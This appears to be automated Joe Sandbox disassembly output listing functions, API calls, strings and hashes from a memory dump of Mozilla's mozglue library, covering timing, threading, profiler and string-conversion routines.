API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 616c17d146eabda93402be3f25cd2f4f1caf4e6c323954c565650965d5ccdee2
Instruction ID: bd55a90260161550d85c816f729a0fabb3bfec874916e14820055cbf37d57902
Opcode Fuzzy Hash: 616c17d146eabda93402be3f25cd2f4f1caf4e6c323954c565650965d5ccdee2
Instruction Fuzzy Hash: EE811871B0AA02DBEB04DF68C944B69B7B5FB56B04F20491AE901B7B80D771F880CBD1

Function 6C965E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965E9D

Part of subcall function 6C975B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9756EE,?,00000001), ref: 6C975B85
Part of subcall function 6C975B50: EnterCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975B90
Part of subcall function 6C975B50: LeaveCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975BD8
Part of subcall function 6C975B50: GetTickCount64.KERNEL32 ref: 6C975BE4

GetCurrentThreadId.KERNEL32 ref: 6C965EAB
GetCurrentThreadId.KERNEL32 ref: 6C965EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C966017

Part of subcall function 6C954310: moz_xmalloc.MOZGLUE(00000010,?,6C9542D2), ref: 6C95436A
Part of subcall function 6C954310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9542D2), ref: 6C954387

moz_xmalloc.MOZGLUE(00000004), ref: 6C965F47
GetCurrentProcess.KERNEL32 ref: 6C965F53
GetCurrentThread.KERNEL32 ref: 6C965F5C
GetCurrentProcess.KERNEL32 ref: 6C965F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C965F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C965F27

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C965E8C

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C96605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C9660CC

Strings

GeckoMain, xrefs: 6C965ECE, 6C966015

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 18007c623affa16d6fd482446bfd0e2da5a0232be5a4f48bdc9a41619676c588
Instruction ID: fe2a2cd9137c1a3b352bfc4f8bd3c8f569d5e34e782df34f2a83b2abc3ece42a
Opcode Fuzzy Hash: 18007c623affa16d6fd482446bfd0e2da5a0232be5a4f48bdc9a41619676c588
Instruction Fuzzy Hash: F871BFB0A09740DFD710DF25C480A6ABBF0BF69308F54496DE48687F92D730E998CB92

Function 6C969590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C953217
Part of subcall function 6C9531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C953236
Part of subcall function 6C9531C0: FreeLibrary.KERNEL32 ref: 6C95324B
Part of subcall function 6C9531C0: __Init_thread_footer.LIBCMT ref: 6C953260
Part of subcall function 6C9531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C95327F
Part of subcall function 6C9531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C95328E
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9532AB
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9532D1
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9532E5
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C969675
__Init_thread_footer.LIBCMT ref: 6C969697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C969707
__Init_thread_footer.LIBCMT ref: 6C96971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9697B7
FreeLibrary.KERNEL32 ref: 6C9697D0
FreeLibrary.KERNEL32 ref: 6C9697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969824

Strings

ntdll.dll, xrefs: 6C9696E3
MapViewOfFileNuma2, xrefs: 6C9697B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C969670
NtMapViewOfSection, xrefs: 6C969701

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 0459d1096e69e22618129d6624f471f749d87a7f229ab371141dc1b5634dd1d8
Instruction ID: ad7bde9eeb5b4c124e74dcc735da0b360ff8e9eaf5045ce9313fcdfbf664f9e2
Opcode Fuzzy Hash: 0459d1096e69e22618129d6624f471f749d87a7f229ab371141dc1b5634dd1d8
Instruction Fuzzy Hash: A361E871608B05DBEF00CF65D885BDA7BB5EB4AB18F218519E915A7BC0D730F884CB91

Function 6C967FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C968007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C96801D

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C96802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C96803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C96808D

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C96809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9680B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9680DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9680ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9680FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C96810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C968133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C968149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C968167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C96817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C968199

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: c14b556d18c1698bfe8f38f2806a745741d886637b5ffda01ac28f81f30d86a6
Instruction ID: 65d4232a91dd285b52f2b3a9989be4e44a64ab7fc317eff88c13f0904f252403
Opcode Fuzzy Hash: c14b556d18c1698bfe8f38f2806a745741d886637b5ffda01ac28f81f30d86a6
Instruction Fuzzy Hash: 8A5196B1E001449BEF10DFA6DC849DFB7B9AF69224F250525E815E7781E730D904CBA2

Function 6C9B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6694
GetThreadId.KERNEL32(?), ref: 6C9B66B1
GetCurrentThreadId.KERNEL32 ref: 6C9B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9B66E1
EnterCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6734
GetCurrentProcess.KERNEL32 ref: 6C9B673A
LeaveCriticalSection.KERNEL32(6C9DF618), ref: 6C9B676C
GetCurrentThread.KERNEL32 ref: 6C9B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C9B6868
RtlCaptureContext.NTDLL ref: 6C9B687F

Strings

WalkStack64, xrefs: 6C9B6890

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 34f86f125093d951fe572f2d0265088715f95f22d465a7dddd451c0cb2d06836
Instruction ID: 7c12e1498edf45aa59936eb09e11e5efdcb7c3a4f13503f9025c66312e0df1ec
Opcode Fuzzy Hash: 34f86f125093d951fe572f2d0265088715f95f22d465a7dddd451c0cb2d06836
Instruction Fuzzy Hash: 3451BA71A09701AFDB15CF24C884A5BBBF8BF89714F10892DF999A7640D770F948CB92

Function 6C99DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99DE73
GetCurrentThreadId.KERNEL32 ref: 6C99DF7D
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99DF8A
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99DFC9
GetCurrentThreadId.KERNEL32 ref: 6C99DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C964A68), ref: 6C99DE7B

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C964A68), ref: 6C99DEB8
free.MOZGLUE(00000000,?,6C964A68), ref: 6C99DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C99DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C99DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C99E00E
<none>, xrefs: 6C99DFD7

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: f902343b7e8b750820e3b2788a3436ee2b01a62e8fa9e5a762b260bd1e6e05b7
Instruction ID: c88251a2a4174e7d531eee6086474c1a255687f447204ce14e138000e4d58790
Opcode Fuzzy Hash: f902343b7e8b750820e3b2788a3436ee2b01a62e8fa9e5a762b260bd1e6e05b7
Instruction Fuzzy Hash: 9F411632705A119FDB109F64C8497AE7779EB9530DF284019E90AA7F01CB30F855CBE2

Function 6C9AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD52A
GetCurrentThreadId.KERNEL32 ref: 6C9AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD55F
free.MOZGLUE(00000000), ref: 6C9AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C9AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD652
GetCurrentThreadId.KERNEL32 ref: 6C9AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD6A2

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 92ef6caa1a516a407137336b66fef06897dc76b776a3bfbcb36d562016187863
Instruction ID: 68bd373f28a8817a722e4300504dce52bd0854999d4ed2a5bf06be0fe8af245e
Opcode Fuzzy Hash: 92ef6caa1a516a407137336b66fef06897dc76b776a3bfbcb36d562016187863
Instruction Fuzzy Hash: 92516CB1608B05DFC704DF65C484A9ABBB4FF89358F108A2EE95A97710DB30F985CB91

Function 6C975670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C975744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9757BC
GetTickCount64.KERNEL32 ref: 6C9758CB
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C9758F3
__aulldiv.LIBCMT ref: 6C975945
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C9759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C9DF638,?,?,?,?), ref: 6C9759E9

Strings

MOZ_APP_RESTART, xrefs: 6C9756CC

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 1422a52247983133444d46003c9a7ab35bdaac4d537a3addc9463b15dad1ce90
Instruction ID: bb7ff651eae94081bea50f32eb7a2595acfb432eff971e952c837c617aba6349
Opcode Fuzzy Hash: 1422a52247983133444d46003c9a7ab35bdaac4d537a3addc9463b15dad1ce90
Instruction Fuzzy Hash: 39C17B31A0D7449BDB05CF28C44166AB7F1BFDA718F558A1DE8C4A7A60E730E885CB92

Function 6C99EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99EC8C

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99ECA1
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C99ECC5
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99ED19
CloseHandle.KERNEL32(?), ref: 6C99ED28
free.MOZGLUE(00000000), ref: 6C99ED2F
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C99EC94

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: d4937314aa601eec71b819a7b99e2bd8cff1d8a644b01e99f89ccfb1b1409e4e
Instruction ID: 70f63d3fafa89faf754d6faa4af9d2e5a158a95f6ecc2334fac8ed53db4be5fc
Opcode Fuzzy Hash: d4937314aa601eec71b819a7b99e2bd8cff1d8a644b01e99f89ccfb1b1409e4e
Instruction Fuzzy Hash: C121E575604904AFDB009F64DC09A9A3779FB5626DF288210FD18A7B41DB31E845CBF1

Function 6C998ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C95EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C95EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C99B392,?,?,00000001), ref: 6C9991F4

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Strings

timeline-fileio, xrefs: 6C9990A4
marker-table, xrefs: 6C99906C
data, xrefs: 6C9990E8
timeline-memory, xrefs: 6C999088
name, xrefs: 6C998F16
stack-chart, xrefs: 6C9990B2
marker-chart, xrefs: 6C99905E
timeline-ipc, xrefs: 6C999096
timeline-overview, xrefs: 6C99907A

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: cc90420369a66cf8a08d1e553cab1106601618aaf05d94b7e8b8fdcd7246b513
Instruction ID: 618ba5d754fdee7efc7bfc10d229741b723f6b50baf2371298d3e58226ead686
Opcode Fuzzy Hash: cc90420369a66cf8a08d1e553cab1106601618aaf05d94b7e8b8fdcd7246b513
Instruction Fuzzy Hash: 70B1D0B1B012099BDF04CF95C4917AEBBB9BF94318F254019D506ABF80D731EA55CBE2

Function 6C97C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C97C5A3
WideCharToMultiByte.KERNEL32 ref: 6C97C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C97C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C97CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C97CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C97CAA5

Strings

0, xrefs: 6C97D30A
(null), xrefs: 6C97C596

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 0324a7c0cdf1862f30eface0011c21295c04e9f75ffda72836644bdf86138f2d
Instruction ID: 1e302c6cb67bae7911c58ead7639e4d65c65649c2d40d78be8b09cfda47b0d90
Opcode Fuzzy Hash: 0324a7c0cdf1862f30eface0011c21295c04e9f75ffda72836644bdf86138f2d
Instruction Fuzzy Hash: FFA1AC3160A342DFDB20DF28C58475ABBF5AF89748F14892DE889D7741DB31E905CBA2

Function 6C97C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C97C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C97C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C97C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C97C891

Strings

NAN, xrefs: 6C97C7AD
inf, xrefs: 6C97C78F
nan, xrefs: 6C97C7A8
INF, xrefs: 6C97C794

Memory Dump Source

